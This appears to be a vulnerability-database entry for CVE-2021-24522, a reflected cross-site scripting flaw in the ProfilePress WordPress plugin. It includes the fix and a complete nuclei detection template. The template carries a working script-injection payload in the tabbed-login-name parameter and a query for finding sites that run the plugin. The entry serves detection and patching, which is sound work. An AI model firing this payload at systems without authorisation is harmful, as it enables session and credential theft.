Browse / CVEs / CVE-2021-24522
CVE-2021-24522· CWE-79
ProfilePress < 3.1.11 - Cross-Site Scripting
mediumseverity
5.4CVSS score
1.5%likelihood of exploitation, next 30 days
75%of all CVEs are less likely
Readycheck to confirm it
The ProfilePress plugin for WordPress before 3.1.11 is vulnerable to unauthenticated reflected cross-site scripting (XSS) via the tabbed login/register widget due to improper escaping of user input. Attackers can inject arbitrary JavaScript via the tabbed-login-name parameter.
Impact
Attackers can inject malicious JavaScript via reflected XSS in the tabbed login widget, potentially stealing user credentials or session cookies.
Fix
Update the ProfilePress plugin to version 3.1.11 or later.
How to confirm it
Send: GET /
Positive when: contains "wp-user-avatar"
Send: GET {{path}}/?tabbed-login-name="><script>alert(document.domain)</script>
Positive when: contains "<script>alert(document.domain)</script>" AND contains in content_type "text/html" AND status 200Run it with nuclei: nuclei -id CVE-2021-24522 -u <target>. This check is not marked as verified by its authors.
The full check
id: CVE-2021-24522
info:
name: ProfilePress < 3.1.11 - Cross-Site Scripting
author: ritikchaddha
severity: medium
description: |
The ProfilePress plugin for WordPress before 3.1.11 is vulnerable to unauthenticated reflected cross-site scripting (XSS) via the tabbed login/register widget due to improper escaping of user input. Attackers can inject arbitrary JavaScript via the tabbed-login-name parameter.
impact: |
Attackers can inject malicious JavaScript via reflected XSS in the tabbed login widget, potentially stealing user credentials or session cookies.
remediation: |
Update the ProfilePress plugin to version 3.1.11 or later.
reference:
- https://wpscan.com/vulnerability/25b51add-197c-4aff-b1a8-b92fb11d8697/
- https://plugins.trac.wordpress.org/changeset/2561271/wp-user-avatar
- https://nvd.nist.gov/vuln/detail/CVE-2021-24522
classification:
cve-id: CVE-2021-24522
cwe-id: CWE-79
epss-score: 0.01545
epss-percentile: 0.75196
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N
cvss-score: 5.4
metadata:
max-request: 2
fofa-query: body="wp-content/plugins/wp-user-avatar"
tags: cve,cve2021,wordpress,wp,wp-plugin,wp-user-avatar,profilepress,xss,vuln
flow: http(1) && http(2)
http:
- raw:
- |
GET / HTTP/1.1
Host: {{Hostname}}
matchers:
- type: word
part: body
words:
- 'wp-user-avatar'
internal: true
- raw:
- |
GET {{path}}/?tabbed-login-name="><script>alert(document.domain)</script> HTTP/1.1
Host: {{Hostname}}
payloads:
path:
- /
- /wp-login
- /wp-login.php
host-redirects: true
matchers-condition: and
matchers:
- type: word
part: body
words:
- '<script>alert(document.domain)</script>'
- type: word
part: content_type
words:
- text/html
- type: status
status:
- 200References
- https://wpscan.com/vulnerability/25b51add-197c-4aff-b1a8-b92fb11d8697/
- https://plugins.trac.wordpress.org/changeset/2561271/wp-user-avatar
- https://nvd.nist.gov/vuln/detail/CVE-2021-24522
Use this check only on systems you are authorised to test. Where the data comes from